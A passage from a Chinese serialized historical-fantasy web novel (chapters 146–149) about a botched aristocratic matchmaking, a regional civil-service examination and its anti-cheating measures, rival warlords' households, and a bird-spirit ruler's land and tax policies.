韩小六吓麻了,他鼓起勇气看了崔凝白几眼,想夸又找不到词,只能求助式看向崔殊,崔殊摊了摊手,对现在的进程非常满意,等掐算了时间正好,就给崔凝白使了个眼色,小姑娘便转了个俏皮的圈儿,告辞离开了。 韩小六长出一口气,崔殊捋胡子笑问:“贤弟不会没有知觉吧?今日相亲,可有来感?” 韩小六唇瓣颤抖,几乎说不出来话,看着崔殊笑眯眯的脸,握紧手中猪惊骨,嗓子都在发抖道:“先生、先生竟如此开明,肯为我介绍小嫂子……当然我不是满脑子嫂子,我只是觉得,先生真是太好了,小七嫂那样的女中豪杰,我实在是……我恨不得早与她相见啊!” 崔殊脸上的笑容凝滞了,瘦猴!猴子!我那么漂亮可爱一个堂妹,她刚刚才走,你这猴子在说什么东西? 崔殊一把掐住了韩小六的脖子,韩大将军拼尽全力抵抗没有成功,手舞足蹈的还在问,“我能再见见小七嫂吗?我想问她愿不愿意……先生,我一直都没好意思告诉你,我从前在淮阴就是贩生猪的啊,我家里要是有个屠户娘子,我都不至于从军……” 第146章 是啊,哪个生猪贩子不渴望一个屠户呢? 我来下乡收生猪,你来宰杀,再拉去菜市卖,没有中间商赚差价啊!除此之外,韩小六这个人性格上有些依恋年长女性,他身体其实不是很好,也不是说多病体弱什么的,而是体能就摆在这儿,让他在后方指挥大军轻轻松松的事,让他提刀上战阵……那他就一头生猪进小七嫂的杀猪巷没什么区别。 韩小六的眼里没有对美貌贵女的爱慕,只有一只瘦猴对杀猪阿嫂强壮体魄的向往,这要是成了,简直是改善家族基因啊! 崔殊劝不动他,也觉得郁闷,请韩小六上门来相亲,不管成不成都挺正当的,就算不成,下次给他介绍其他堂妹也行,又不是只有凝白堂妹一个人选,可看上小七嫂……怎么都不对啊!是让七哥转赠妾室?还是休弃后让韩小六去求娶?无论选哪个,对外崔氏的名声也臭了,更何况以韩小六的人品,他可能是真的想要求娶,而不是得到一个转赠的妾。 崔殊抱着最后一点希望问道:“小六,你若肯与崔氏订婚盟,娶凝白为正妻,我就舍了脸去和七哥商议,叫他送小七嫂给你,权当是凝白的陪嫁娘子,你觉得如何?” 世家贵女,上嫁时通常会带陪嫁,看上嫁的级别有多高,小世族之女嫁入一等大世族之门,一般就是嫡女出嫁带三两个同父之庶女姐妹,平嫁带丫鬟陪嫁即可,下嫁就没有陪嫁的规矩。崔氏本身就是一郡之郡望,虽然上头还有个卢氏,但崔氏的体量不怎么输卢氏,韩小六如今的实职是辽东都尉,算是个平嫁,但崔殊看重的是韩小六的将来,为此可以妥协一些东西的。 韩小六第一次听说世族嫁女的规矩,把头摇得像拨浪鼓,和崔殊推心置腹道:“先生,都是男人,我不好说自己是什么不好女色的圣人,可是我从小是阿娘带大,我随娘姓,因为爹为了外头的寡妇不要我们母子了……先生,这年头人命如草,我自己就是草里生草里长,我知道娶妻纳妾是常事,可我做不来那个,我没法子今天去这个女人那里,明天去哄那个,我本身没那么多精力的,每天都很累,我就想要一个普普通通的家。” 这话没有隐喻谁的意思啊,韩小六消息闭塞,他都不知道林一乱搞人鸟关系来着,但是崔殊知道啊,他还是想歪了一点点。 毕竟不是谁都都像大鸟,有那么多精力应付几段关系,世族后宅最常见的是男主人在某段时间里有一两个得宠的妾室,和妻子关系好的时候就会冷落妾,和某个小妾关系好的时候就会冷落其他所有人,本质上男主人是把后宅里的女人都当成没有生命的花花草草,闲时赏玩罢了。而韩小六自己说了,他把人当成人,所以没办法娶回来又冷落,更没有那个精力去端水哄两头,这是很务实的专情论。 两人对视,崔殊抓了抓自己的头发,硬着头皮说道:“行,这事我给你办了,别管我怎么办,记住你是我崔氏的东床快婿。” 还能怎么办!绝对不能是把崔氏公子的妾收拾收拾转嫁,这丢大脸了,也就一个办法。 崔殊找到了家主崔音,解释了韩小六的要求和他的打算,崔音也脑阔痛,但还是点点头,同意了崔殊的提议。 杀猪妇人原名是孙晓玉,按照崔氏的起名习惯,改为崔凝玉,修改崔氏家谱,将她的名字添在崔殊旁边,算作他亲姐,至于崔殊的七堂哥那里,轮不到他开口,反倒是修家谱之前,崔音亲自上门和孙晓玉谈了谈,问她的意思。这是一定要问的,韩小六是崔氏的拉拢对象,崔氏不是搞人口贩卖押上花轿就钱货两讫的,世族的联姻都是非常看重长远利益的。 孙晓玉很痛快地就同意了,她和崔七分居很久了,没有去打扰他和新妻的生活,甚至自己操持起杀猪的活计,在崔氏活得还挺不错的。只是顶着这样的一个名分,她也没法子再嫁人,孙晓玉其实不在意有没有男人这事,但是她到这个年纪了,很想要怀个孩子来着。 这桩婚事就此敲定,甚至都没准备太久,就先挪用了给崔凝白备下的大笔嫁妆,风风光光地赶在年关过去不久的正月十八完婚。 韩小六如今驻防巨鹿,婚后就带着妻子离开了范阳,崔殊也要收拾收拾去勃海了,他要正式主持勃海郡内官员第一期考试来着,临走之前,把躲在屋子里的崔凝白也揪上了马车。 崔凝白年纪还小呢,才十七岁,她家算是离得比较近的分支,但日子过得挺穷的,她上头有四个亲哥,底下三个弟妹,家业都分润干净了,也因此被崔殊找上门来的时候她就很高兴。自己演练过很多次,信心满满准备把韩小六拿下,谁成想就见了一面,她什么手段都没有来得及使呢。 崔凝白在马车上哭出了鼻涕泡,抽噎着说:“殊堂哥,我是不是很糟……他都不要我,你说他都不是什么世家子,是卖猪的平民出身,军中的泥腿子,他都看不上我……” 崔殊靠着马车厢也不看书也不干啥,就是学王澈歪着。说到王澈,因为周鸟劳顿,他从被林一从雪域背来勃海之后,就懒得回去了,在勃海郡守府歪了几天,然后送走了堂妹去任河间郡守,他居然也开始慢吞吞帮着做些事了。当然,杂务日常案卷是不碰的,他一般愿意审理一些悬案,慢条斯理弄几天郡内的事务章程,很高效。 崔殊正想着王澈呢,就听见崔凝白哭这个,他的情绪挺稳定的,就打了个哈欠,说道:“确实是,你挺糟糕的,我当初选中你,就是因为你性子爱娇,想着军伍出身,他要不就喜欢这口甜的,要不就好温柔体贴些的,没想过他喜欢年长妇人……不过没成是好事,你先前怎么没对我说,嫌弃韩弟是平民军伍出身?” “没有……我只是,觉得他这样都看不上我。”崔凝白止住了哭声,小心翼翼地道:“殊堂哥,我没有看不上韩将军的意思,是他看不上我的。” 崔殊不怎么喜欢听人解释,因为很多东西他都看得出来的,摆了摆手,“不必这样,女子不是只有嫁人这一条路,之所以带你去勃海,是因为这次相亲不成,族里为你重备嫁妆也需要一年半载的,哥准备再给你一条别的路走走看,不成也罢,一年后你还可以回崔氏,再挑一个世族子弟嫁了。” 崔凝白对机会总是把握得非常恰当,她马上就擦了擦眼泪,眼睛里水润润的,用很可爱的表情掩藏眼里的贪婪,“殊哥,什么路子?” 崔殊点了点车厢里的一个大箱子,“先考吏目吧,你对账目数字计算不清,就考刑名律历这方面的吏目,给你半年时间熟读这些条目律历,半年后的考试里,你如能通过就从小吏做起,凝白,你和别人不一样,你只要能做出一点成绩,我就会提拔你,前提是你能耐得下性子做事。” 说实话,崔凝白都被震撼了,她从来没想过自己还有嫁人之外的路子可以走,接下来的一路上手不释卷,一直到抵达浮阳后,崔殊把她在郡守府的一个厢房里安置下来,让她闭门好好读书,她都觉得自己这个堂哥实在是手眼通天的人物。 直到听送饭的丫鬟谈到王澈,谈到王澈直接介绍堂妹王清英任职河间郡守。 崔凝白看了看那么老大一个装书卷的箱子,看了看自己的读书环境,然后算了一下:人物关系,堂兄堂妹,人物地位,同职军师,现在情况,她埋头苦读准备考吏目,人家直接赴任一郡郡守。 这里头是不是有超级大的不对劲? 我原本以为殊哥说的“凝白你和别人不一样”,是指我是个关系户我和别人不一样,是优越的那种,结果哦豁,是我和别人不一样,别人是关系户,而我们是真的不一样? 当然了,具体情况具体分析,人家瑕丘王氏什么情况?王氏族中男女同入族学的,人家都是三岁开蒙,女子学到十五岁上开始学一些管家杂务之类的事,是预备出去做一家之主母的。男丁十五岁也不是继续深造,家传的东西基本学完了呀!他们是出门游学,或者养养名气准备入仕途,也就是说人家王氏男娃女娃是一个知识水平的。 王清英就是她那一辈的女娃里学习成绩最好的那个,王澈可从来不给林一介绍废物,至于嫁给杨裳的王清云,她和王清英差着几岁呢,十五岁从族学毕业前也是女娃里的第一名来着。 当然,王清英的象征意义更大,是为了林一吸纳更多优秀女性人才的,她是一个徙木立信的木杆,而崔凝白……她是崔殊用来为自己的考试公正度立威的棋子,其实崔殊希望崔凝白多落选几次*的,这样才能证明考试是公平的。 崔凝白想不到这个,她的头脑和王清英确实不在一个水平线上,但是孩子真的肯吃苦,想不通就不想,发狠咬牙就是一个闷头苦学!她要拿第一名让堂哥看看实力。 第147章 在林一这边基本完成势力割据,已经步入消化治理阶段的同时,人家江东王也发了力,他不再往胶东这边打,而是南取扬州,蚕食荆州,事实证明人家陆行打仗真的可以,除了在呼兰霍兰这边吃了一回亏,之后还真没遇到过像样的对手。 江骋那边,他在打下上郡之后,仍然放着朔方不管,继续连下北地郡,安定郡等,随后沿着泾水下三辅,兵驻咸阳城。 这下魏末乱世最大的三家反王势力基本形成定局,剩下的无非是一些小地盘的争议,因为谁都知道,接下来不是一方势力能继续吞的了,林一这边是官员不凑手,真要挤挤兵力,她还是能从雪域那边调骑兵的,但是消耗太大了,也太不值当了,所以她是第一个停手的。江东王那边主要是江东士族不想接纳更多的联盟势力了,他们本身就是一盘散沙,再不断添世族进去,到时候几十盘散沙更不好管理。 江骋,他是真的兵力不够用,强打下的地盘必然要靠强权压制,每下一个郡,他就需要留兵镇守,能打到咸阳那么远,还是因为杨裳在他打下上郡之后,又支援了他一批五千人的雁门军,其中还有不少新兵蛋子,江骋一般不把新兵当先锋用,他有更好的法子。 “束流民而攻”,那些死守的城池,不可能打到满城皆亡,这样的城池被打下来之后,作为惩戒,江骋会带走老幼妇孺,在下一次攻城的时候以小股骑兵和弓手把他们驱赶到江骋想要的位置。 但是江骋的名声在世族之中很诡异的,非常好,因为他对世族真的礼遇有加,送钱送地送美人是真的能得到利益,这就是世族的舒适圈啊。 而如今的三大势力中,林一的名声最坏,她杀世族不是一次两次,还用着世族的官员干活。 想象一下,也许你辛辛苦苦点卯干活一整天,回到家里三口棺材,儿子被杀掉了,侄子被杀掉了,原因是两人的马车撞死了个要饭的,老爹躲屋里玩个小书童,也被杀掉了。然后第二天,你去质问,她给你放十五天的丧假,然后休完假你还得去给她干活,哪天你头脑一热准备和她同归于尽,她一翅膀把你扇成陀螺。 诶,这就是世族的逻辑啊,平民也许还算人,流民算什么东西嘛,老弱妇孺不能耕田种地,那和草芥有什么分别?往年太平盛世时这些人还可能会饿死的,老多的世族不把人当成人看了,但是刀子会落在自己头上,那就不同了。 其实按这个逻辑来讲,江骋就算跟着杨无衣那边算,他雁门杨氏也就算普通的世族而已,兵书传家的那种泥腿子,不过腿子上的泥也算洗干净了,杨氏六代到江骋这边七代了,算是世族里中游的那种。 真正出身大世族的其实是陆行啊,江东士族啊,他都不是世族是士族,因为世族也可能赶得比较寸,一家几十年都没能出几个高位官员,而江东士族是代代有人做高官,族中子弟只要愿意就能原地出仕的那种。 但是嘛,一来陆行比较拉,他一直在江东附近转圈圈,压根没打到北边来,二来就算是扬州世族,荆州世族,人家也看不顺眼陆行,你都自带一个士族天团了,我家也是大世族,我去只能当小十四,你还有脸过来找我联盟,滚!滚远远的! 不打仗的时间过得是很快的,一晃儿就到了勃海郡官员第一次大考当天,勃海郡下辖二十六县,考试前三天各县官员自县令以下,吏目以上都要参考,大牢里的牢头都有专门的考试。这些人抵达浮阳后就直接套个大车接入郡守府,郡治官员还能在家歇两天,在考试前一天进入考场。 考场是在郡守府原先的花园,那些高若精心打理过的奇花异草,除了实在珍贵的他自己拿盆装回家,其他的都被清理出来,平整出一大块地盘。桌案相互之间隔五步,任何无关人员禁止出入,崔殊亲自发考卷,至于他崔氏三龙里其他两条?崔元是不参与的,崔柯就苦着脸坐在第一排。 头几排的都是县令官,他们基本上都来过郡守府的花园,高若对他们都很礼遇,谁没在花园里被高郡守带着赏玩过那些奇花异草啊?现在坐在一块儿考试,真是给人一种时移世易的恍惚之感。 崔凝白作为吏目考核在第二轮,她帮着发试卷来着,然后看着官员试卷就陷入沉思。 问:秋收前后作为官员,各司其职的范围,如答卷者为县官,只答一县之范围,如为郡官,需写满十条,若有其他补充另算一分。 问:某地一妇人杀夫,按律当斩,但若其有何等样苦衷可免死,何等苦衷可免刑,何等苦衷可公堂审问后直接释放,每条目填写三条,多加可算附加二分。 问:勃海郡去岁粮税数额五十万石,如需全部取用赈灾,设一地距我八百里,从浮阳出发,需用多少力士,多少车船,抵达某地之时,扣去力士回程口粮,算路途损耗如何。 这三问每一个都让崔凝白瞪大眼睛,而且三问只占一张纸,每个官员的考试卷都是十张啊!她咽了咽口水,往后翻阅着考卷,看着官员们有的微微一笑提笔就写,有的面露慌张之色,本能去观察其他人的表现,还有的额头冒汗,磕磕巴巴地先写自己会的题目。 考场百态,不胜枚举。 崔殊正坐着吃枣呢,浮阳的金丝小枣味道确实很好,见到崔凝白游魂似的走过来,还给她也抓了一把。 崔凝白站着,咬了一口枣子,压低声音说道:“殊哥,你的题目会不会太难了呀?我看到好多人都抓耳挠腮的,他们不会啊。” “勃海郡中官员做事其实都还行,只是从前没有纸面上考核过。”崔殊说,“别看现在大部分人都表现得不太行,那是因为没接触过考试,等过一会儿就会开始答题了。” 果不其然,高若那边把十张试卷全部看完,沉吟片刻,就按照顺序从第一张开始写起,作为郡守,每年秋收前后他要忙的事情很多,他算是最明白官员们如何各司其职的了,不光写了十条,他补充了二十多条,直到写满了预留的答题范围才停下。 第二题是封家主的舒适区,他就是掌管勃海刑狱军防两个方向的,崔殊还给崔凝白点了点人,“你要是过了刑名吏目考核,就是在此人手底下做事,他不可能考核不过的。” 作为监考官,崔殊都不用看考卷,光是看每个人的表现都能猜测到他们大致的水平在哪了,当然崔殊现在还不知道,这世上就是有人明明啥都不会,做事却很从容不迫,明知道考完会原形毕露,但还是会风度翩翩演完整场。 林一也在监考呢,她的位置靠后,等于说崔殊在监考前排,她在监考后方,而且她的眼神很好,谁稍微有点动静都逃不过她的眼睛,但是五步的桌案范围真的太远了,这时候就有人玩花样,额上冒汗对林一请求道:“主君,沈某有些腹痛,可能方便一二?” 林一有些同情地看了看他,努努嘴巴。 崔凝白事前得过吩咐的,马上跑过来,“这位老爷,我们在考场西北角设有四面屏风,你可以在屏风后头用恭桶,当然用完之后我们会检查屏风和恭桶附近,你的卷子上会盖一个戳儿,表示你离开过考场……” 这官员脸色大变,顿时咬牙道:“不用了,主君,沈某还能坚持坚持。” 接下来除了一个实在受不了的去用了恭桶,被盖了个红戳在试卷上,其他人都坚持下来了,一个时辰后收的卷,收试卷时还有人满头大汗地按住试卷,“最后一题了,让我写完,让我写完!” 因为是第一次考试,崔凝白拿不准,回头看向林一,林一点点头让这人写完才收了他的卷子。 不过写完也没用,崔殊和王澈一起阅卷来着,王澈看了几份,就顺手把这位写完哥的卷子放在黜落的那一筐里了,十张试卷写得满满,真答对的没几条,反而还会用什么圣人言来水字数,求阅卷人看在圣人的面上给点分数。 王澈若有所思地道:“卷上有名,他在答题时还提到自己是孔氏旁支,圣人之后,如今第一次考试是你我阅卷,不会偏颇,但是日后考试范围扩大,阅卷官不可能都和考生避嫌。” 崔殊想了想,“卷上不留名,以考号对应如何?也不许提及家门籍贯这些。” 王澈摇摇头,“字迹呢?阅卷官如果会辨认自家子弟徒孙的字迹,那也不成,所以或许可以花费些精力,过几筛,第一禁止卷上留暗号串联,第二试卷不留名,考试现场发考号,第三……找专人誊抄卷子吧,考后誊抄,然后封存原卷,这事事关日后用人选能,费些事不算什么。” ……又不是他来费事。 王澈看了十几份卷子,就借口要上茅厕溜了,留下崔殊一个人面对堆积如山的考卷。 第148章 初秋时节,江骋自咸阳回到雁门,雁门是他的大本营,而且还有朔方和上谷代郡不曾处理,是的,代郡。 林一在扩张势力时就避开了上谷和代郡,避开上谷是觉得有坑,没打代郡是因为准备给自己和江骋和这边留一个缓冲地带,雁门这边的杨裳倒也不是纯靠江骋在打,他自身就是绝强的守将,江骋打下来的地方杨裳都会走过一遍,重设布防,所以父子俩是同时回到雁门的。 比起杨裳后宅的空冷,江骋的后院……嗯,要热闹很多,他并不把世族送来的妾室和歌舞姬分开来放。她们的任务在他接手,然后回馈世族利益的时候就已经完成了,别以为送女为妾的世家会为这些女孩儿出头。 前不久打安定郡时后方传来消息,说有一位赵姑娘死了,死前脸都叫划烂了,明显不是自己病死的。江骋便给赵氏去了一封情真意切的书信,给了赵氏在郡内三年的盐酒专营权,安定郡还没打完,赵氏就遣了多名子弟来他营中听职。 也因为鱼龙混杂,所以江骋的后院每天真是一个争奇斗艳不可开交,但彼此都很默契,不去惹江骋的夫人。 那位真不知是什么来头,说是雁门大族公孙氏的女儿,但从来不见公孙氏来人,平日的做派也嚣张得很,她们之中有大世族出身的女子……就是赵氏了,只不过是挑衅了一二,还是在自己院子里和丫鬟讲的,说了些秋日将近,院里黄花什么的,第二天就死状凄惨,而且将军没有丝毫责难的意思。 如今杨裳和江骋父子归家,最高兴就要属这些被送来的姬妾了,有的出身好还能矜持一二,有的是被随手赠送的美姬,全指望靠宠爱翻身的,马上就梳妆打扮起来。 前头已经说过,杨裳在女色方面真不是什么道德君子,但他主要是玩过见过,对莺莺燕燕已经不感兴趣了,王清云用对待课业的耐心细致来弄他,杨裳早就沉醉温柔乡不可自拔了,他后宅干净得很。偶有些江骋的姬妾觉得弄不动那个冷木头的时候,会想走点捷径,但是杨裳都是绕路走的。 这也让他的名声更好了,杨裳贼喜欢这个。 江骋那边,他一回来就直接入了妻子房中,萧玲珑这两年长开了许多,如今梳妆也朝着成熟风韵的方向打扮,显得更加美丽,听见江骋的脚步声,一回头就扑进了江骋怀里,双手抱住他的腰身。 “鸿羽哥哥……”萧玲珑呜呜咽咽地哭了起来,“下次无论你去哪,都不要丢我一个人在这里,你不知道她们怎么欺负我,我宁愿跟你去打仗,去吃苦,也不想总是见不到你。” 江骋沉默片刻,伸手摸了摸她的头,他其实以为萧玲珑会发脾气的,就像之前那样,他第一次接了李氏女入府,萧玲珑和他吵了多日,摔盘砸碗,那时候虽然头疼,但感觉上不一样。 萧玲珑哭了一会儿,像个贤淑的妻子那样给江骋解头冠,卸甲胄,动作隐约有那么一丝熟悉,江骋想起来了,清云夫人就是这样对阿父的,一时又有些失笑。 你学她?昔日嚣张跋扈的小公主学起世族女子的手段了? 江骋按住萧玲珑的手,自己熟练地把甲胄卸下放在一边,还没说话,又被抱住了腰。这下是真的有些心软,心软这种情绪通常很难出现在江骋身上,但是江骋也是人,他不会对那些脏兮兮的流民心软,也不会对军中的士卒怜悯,但不代表他不是个人。 “军中苦寒,舍不得带你去,她们欺负你?”江骋组织了一下语言,说道:“明日可以规划一下院子,把她们全迁到南园去住,中门落锁,只是又怕你一个人孤单。” 其实江骋自己都知道是放屁,被后宅姬妾欺负?萧玲珑不去欺负人已经是良心发现了,但是他习惯了顺着她的话说。 萧玲珑摇摇头,隔开了又怎么样,隔开了也还是存在,她的头扎在江骋的胸膛,声音因此变得有些沉闷,“鸿羽哥哥,这才几年,就好像一切都变了……以后会如何呢?你会打破洛都,做新朝的皇帝吗?” 江骋没回答这个,而是低声温柔说道:“要个孩子吧。” 萧玲珑不再说话了,低下头开始解江骋内衣的带子,动作仍然不算熟练。婚后他们聚少离多,当然江骋其实也并没有在外头的那些姬妾房中过夜,他对打仗有一种近乎执着的狂热,而私欲方面干净得吓人,两个人甚至有一些青涩和磕磕绊绊。 与此同时,林一可是熟练工了,她过上了两头吃的日子,这边把苏赫阿那弄得拿扫帚把她往屋外赶,那边让呼兰霍兰八尺猛将扶墙出门,爽得翅膀直拍,甚至从前她舍不得在苏赫阿那身上使的坏招,全招呼在年轻力壮的呼兰霍兰身上,比如她有时候不想人形那啥…… 啊,不宜说太多,有辱正直大鸟的名声。 总之夜生活很和谐,所谓政通人和嘛,人都和了政务当然就通畅,林一这些日子主抓秋收前防虫害的工作,要说她也真的是很会占地,东南沿海本身有多富庶就不说了,占的巨鹿平原这些地方也都是产粮大地,土地肥沃得很,也就仅次于个江东嘛。 相比之下西北王是挺霸气的,可是西北穷啊,穷到杨裳都不拿秋收的事烦江骋,让他专心扑在继承人工作上。 王宣,就是那个原江东王首席军师,现呼兰霍兰的谋士搭子,琅琊王氏宗子也在这个时候回了一趟琅琊郡,之所以提这么多名头,主要是林一麾下姓王的太多了,没有这些个名头,还真想不起来王宣是哪个。 琅琊郡如今的郡守也换了人,是夏末时第二批考试上来的人员,嗯……东莱王氏的家主王温,原先的东莱郡守,那个儿子跳城门楼子被当成投怀送抱的王家主,对琅琊郡好多人来说都挺懵逼的,是在说王郡守被下职了,然后换了一个新的王郡守对吧? 那也没办法啊,琅琊郡的兵现在调到东莱去了,而东莱的兵调在勃海呢,真不知是什么人想出来的馊主意,反正都给世族们拿捏住了,也弄不来空降郡守溶于水的操作了。 王温还带了他的郡丞搭子,杨氏家主杨齐,如今上任有一段时间了,其实没比原先的王郡守管得更好。 王宣回到老宅的时候,左看右看没看到自家父亲,不由问道:“阿娘,阿父不在家吗?” 他娘就嗔道:“在书房呢,他要备考,说也要去外地任个郡守,其实第二期考试的时候他就过了呀!勃海那边,大汗说让他去泰山郡做郡丞,死老头子不肯去,非要考郡守,说做郡丞丢人,我看他窝在家里头才丢人!” 王宣叹道:“阿父做了半辈子郡守了,怕是接受不了给人做辅,对了新任的泰山郡守是什么人?” 他娘翻了个白眼,“颜询,颜紫玉,你颜叔啊。” 王宣哽住。 虽然但是,这位颜叔可是自家老爹年轻时的情敌,郡中郡望颜氏的家主,如今他都这么大了,儿女都要论婚事了,每逢世族宴会,颜叔还会给他娘写诗词呢,去年写的那首“二十年辗转,梦中楼阁,不知佳人何处”把琅琊郡中多少贵妇看湿了枕头啊。然后他爹看了词就气哭了,啥不知佳人何处啊,你写诗的时候不就是在俺王氏老宅?佳人在我家! 原本他爹是郡守,琅琊王氏乃是郡中第一大世族,颜叔也就能靠几首酸诗恶心恶心他爹了,结果现在公平考试一出,人家颜叔第一次考试就通过了郡守级的要求啊! 怪不得怪不得,换我也不去上任,换我也要头悬梁锥刺股考个郡守回来。 王宣才坐下准备吃饭呢,今天可不是家常菜,而是一桌家宴席面,作为宗子,归家时的排场……那是一点都没有的,族中只有女眷出来迎他,一问才知道全族男丁都忙着备考下一次的官员选拔呢,据说现在是官位多人才少,等这些萝卜坑填满了,能争的余地就不多了呀。 王宣就有些奇怪,问道:“族中没有女孩儿参考吗?现在女官才最抢手,因为主君是女子,她可能会格外照顾一些……” 一个王宣的堂妹就小心翼翼地说:“木有啊,主君木有格外照应,有本事的就上,她还筛掉几个蒙混过关的咧,说木有男娃比女娃高两分,还筛掉男娃的道理,俺觉着她好像就蛮公正。” 王宣摆摆手,“你们又不是会蒙混过关的,有本事的就上,咋不去上咧!现在是多好的机会!” 女眷们面面相觑,然后也不继续吃席了,都赶着回去看书。 王宣一个人坐着吃一桌席,吃着吃着忽然感觉不对,一回头连他娘都不见了,他啃了一口葱烧海参,一脸茫然。 不是,阿娘你凑什么热闹,做郡守夫人这么多年了,你不是连大字怎么写都忘了吗? 嗨呀!海参真好吃,还是那个味儿! 第149章 如果有人敢于给三大反王,十几路小诸侯排个序列,那么北地双霸主应该是不分上下,陆行独占一列,而十几路诸侯之中,从汉中往巴蜀直到益州一带,和三大反王几乎不搭嘎的地盘,是极具割据潜力的一支。 然后这一块地盘拢共有四十三家小诸侯……算是暂时起不来的啦。 江骋打到咸阳就后继无力了,没有足够的兵力拿下汉中,给林一急得哟,她要是能组织一支源生战士飞鸟小队,都想替江骋把汉中吃掉了。 秋收时节,正是农忙,今年林一地盘上的那些郡,农人的日子也是好起来了。通常来说一个新兴势力初创,正是要从民取利,增加库存的时候,不来劫掠已经是好事情,还想减免赋税?但是林一就这么干了,粮税是无偿地上交,而她手里有钱啊,爱来自那些被抄的世族。 不收百姓粮税不代表她不能弄到粮,为什么没人想过从农人手里买粮?因为农人总是一副吃不饱还要饿死全家的惨状吗?吃不饱是因为朝廷拿三成,世族拿三成,三三税砍完之后就真吃不饱了。 而不收取粮税,家家户户都有余粮,农人们当然……还是不会卖的,因为饿怕了,但是!过个一两年农人认为不会再有吃不饱的日子了,就会开始往外卖粮,这是辽东那边的经验之谈。 至于有的地是世族的族田,有的农人不是自耕农而是佃户,有的自耕农找佃户来种,这些林一统统不管啊,她反正就一个统治思想,谁种的地,地里的粮归谁,世族不满意可以自己下田,这本质上其实是把土地的概念公有化了,她不承认土地是可以私有的。 比如今年你很穷,鸟大王给你分了十几亩地,明年你捡到金子发财了,鸟大王判断你有钱了,不靠这十几亩地活着了,而且你也不下田而是找别人来种了,这不成,她就把你的地拿过来分给别的穷光蛋了。在她看来,这地不是你生来就有的,也不是你死后可以分儿分女的,就是归你种几年。 那哪个穷光蛋没幻想过发财呢?合着发了财,地就不归我了? 所以不光世族,除了最底层的穷光蛋没人会支持这个想法的,因为人家辛辛苦苦攒了几年钱,想的也是多买几亩地,自家种不了就请佃户,连最穷的孤寡汉还幻想着佃户全家给他当牛做马,他钻人家佃户老婆门子呢。 也就好在林一不管事,她的这个思想还没有体现得太彻底,也有一整个谋士团队来为她运作,双方求同存异协调共进嘛。 倒也没法判断对错,这算是鸟族思想和人族思想的矛盾之处,在鸟看来地面就如人看天空,本就不是它们扎根的地盘,地里会长出各种各样好吃的,是个捕猎场地。而一个人辛辛苦苦种一年地,让地里长满粮食,鸟除了偷偷摸摸下去吃一点,思想上,是认为这块地不归人自己,但地里长出的粮食归辛苦了的人吃。 当然也不归鸟吃,但鸟还是会偷吃一点。 目前来说,林一的思想从来不极端,她是这么认为的,也是这么去做的,但她还在第一关,打最大的地主世族的阶段,刀子没下到太深呢,所以今年东南沿海到幽州故燕之地的这块地盘,简称燕齐之故地,然后东齐+北燕,那么可以很轻易地得出林一现在地盘的称谓! 啊对,江骋西北她东北,东北王诞生了! 今年东北人的日子也是好起来了,世族的地原本归世家族人种的那些还好,但绝大多数田都是找了佃户来种的,世族佃户通常还要承担一些额外的事情。佃户的儿女,女孩子好看点的养几年就成了世族的丫鬟,再好看些的就是歌姬玩物,极少一部分漂亮又聪明的,真的能入世族做有名分的妾。 男孩子呢?小厮书童也可能会被染指,但是这是上不得台面的东西,有的能攒下来钱,离开了还能买些地做个富家翁,这是最好的结局,坏的都写不出来过不了审。而那些强壮健康的就做部曲私兵。大多数的佃户都不是简单的俺种你地,上交粮税的关系。他们会成为世族私奴,这也是世族很好打的原因,因为除了核心部曲,有上升渠道的家将之外,他们的部曲几乎不会为了他们效死。 林一规定的,地归谁种粮食归谁,最大的受益者就是世族佃户,其次是自耕农,再次一些的富农,有多余的地被佃户种了的,他们也挺高兴,因为粮税才是大头,免了粮税自家比往年得的多得多,所以这些占东北人口近三成的农户都是林一的基础盘,他们到处宣扬鸟大王的威名与慷慨,家家户户开始用竹竿在门口挂鸡头……? 总之就是这么个意思吧,丰收了肯定要杀鸡宰猪庆祝的,然后挂起鸡头,代表我们是鸟大王庇护的子民,没有毛病老铁! 连日秋高气爽,一辆简朴的马车停在琅琊郡的郡城门口,这马车确实简朴,有个面白清秀的书童驾车,车厢里靠坐着个年轻人,世家子游学放在之前天下未乱的时候还挺常见的,因为世家子弟通常不会携带大笔钱财,劫杀还会惹上麻烦,一般山匪都不会去动他们,但现在这个年月还出来游学不带部曲的,实在是少见。 城门官很快上前去查验身份,说话很客气的,“公子,劳驾下车一见,留下名姓籍贯入城路引。” 马车上的公子露出个头来,然后很痛快地下了车,世族子弟通常会佩剑,但是这位公子腰间却是挎着一把大刀的,虽然个头不算高,但是风姿气度很不错,是个漂亮小伙。 年轻公子一开口就是吴地软语,“吾是会稽虞家屋里人,名轻,到搿搭来游学的。” ……也就好在这儿是琅琊啊,平日里听惯了各地方言的,而会稽的方言人家说得蛮标准,城门官马上听明白了意思:我是会稽虞家子弟,名轻,到这里来游学。 城门官又问道:“公子可是会稽虞家嫡系?劳烦要报一下父祖三代姓名,这样日后好验看。” 虞轻好奇地问他,“可是最近有些什么风声吗?我在巴蜀转了一哈,也去过西北那噶,入哪个城都没有这样麻烦。” 之前还是标准吴语,现在这话就音调乱七八糟了,城门官很老实地说:“是因为近来周边各家子弟都有派人来……我们林主君最近开科举士,秋收之后有一场大考,本次考试有两个郡守四个郡丞的名额待定,听说到年底郡官就满员了,后面除非郡守郡丞撤职才能轮到,所以近来有许多公子小姐从各地赶往勃海。” 而琅琊这边,从青徐地方赶来的世族子弟基本也会路过这里啊。 虞轻迟疑地问:“有那么多郡吗?” 他路上是听说过东北这边考试可以得官的,但是已经考了三四次了吧?还有郡守官位可以考? 城门官这会儿挺闲的,世族子弟说话又好听,也乐得和他聊,就说道:“一个是右北平郡,一个是清河郡,清河郡原来第一次考试就定下郡守啦!那可是好地方!右北平算个什么啊,但是清河郡守他自己不争气啊,公子你说,好不容易考上的不是?不知约束族中子弟,刚得了郡守,他家侄儿就被人举报开青楼,败毁了哇!” 虞轻也觉得不堪,这年头开青楼的都是什么人?世族有自己的圈子,家里的歌舞伎人丫鬟小仆还不够玩?青楼都是低档的,是开给那些游商贱民的,那种皮肉脏钱也要赚,实在是丢人现眼。 他也来了兴致,仔细问了开考时间,本来准备在琅琊郡停留一段时间,最好再拜访拜访琅琊王氏的,犹豫了一下还是没停,进城采买了些干粮就匆匆赶往勃海。他当然不是对右北平郡感兴趣了,正如城门官所说,清河郡才是富庶大郡啊。 即便忙于赶路,虞轻还是注意到了田野乡间农人的笑脸,现在是农忙时节,他和陆行争夺江东联盟盟主之位失败后就离开江东去往荆州过巴蜀,在巴蜀那边学了一些骂人话,又从江骋的地盘过路,经河东河内郡重游了昔日洛都,洛都的气氛居然还是歌舞升平的。 